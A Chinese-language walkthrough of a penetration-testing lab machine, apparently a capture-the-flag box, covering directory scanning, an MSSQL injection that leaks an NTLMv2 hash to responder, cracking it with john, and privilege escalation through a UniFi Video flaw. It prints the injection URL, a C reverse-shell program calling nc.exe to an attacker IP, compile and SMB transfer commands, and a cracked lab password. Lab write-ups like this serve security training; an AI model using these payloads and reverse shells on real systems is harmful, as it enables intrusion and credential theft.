1、扫描
扫描都是很常规的端口
2、网页信息搜集 mssql NTLMv2 hash
扫目录
gobuster dir -u http://10.10.10.104/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100
remote是登录框,没密码
mvc可以看到不同数字不同页面。疑似数据库注入。这个数据库提示见多了就知道是mssql
参考这个https://zhuanlan.zhihu.com/p/110454024
本机
responder -I tun0
靶机
http://10.10.10.104/mvc/Product.aspx?ProductSubCategoryId=1;%20EXEC%20MASTER.sys.xp_dirtree%20%27\\10.10.14.15\fakeshare%27
john解密
/root/exp/JohnTheRipper-bleeding-jumbo/run/john pass --wordlist=/usr/share/wordlists/rockyou.txt
得到
xNnWo6272k7x
回到remote目录,登录框,依次输入
giddy\stacy
xNnWo6272k7x
giddy
在网页上拿到powershell
3、unifivideo提权
在用户的document里看到unifivideo
网上搜漏洞
https://www.exploit-db.com/exploits/43390
说是这个目录下建个taskkill就行了,里面放弹shell代码。再关闭-重启
C:\ProgramData\unifi-video\taskkill.exe
我试着做了一个exe
#include "stdafx.h"
#include "stdlib.h"
int main()
{
system("nc.exe -e cmd.exe 10.10.14.15 4444");
return 0;
}
传这个和nc进去,但是弹不了shell,应该是被杀软截了
继续突破,把这个拷下来,底部的弹shell 地址和端口 改成自己的
https://github.com/paranoidninja/0xdarkvortex-MalwareDevelopment/blob/master/prometheus.cpp
转换成exe
i686-w64-mingw32-g++ prometheus.cpp -o taskkill.exe -lws2_32 -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants
著名的impacket包https://github.com/SecureAuthCorp/impacket
进行smbserver 传文件。 目录根据你自己定
smbserver.py share '/root/exp'
靶机里powershell ,copy \\10.10.14.15\share\nc.exe
和 copy \\10.10.14.15\share\taskkill.exe
一切准备就绪后执行重启Restart-Service -Name "Ubiquiti UniFi Video"
本机收到,搞定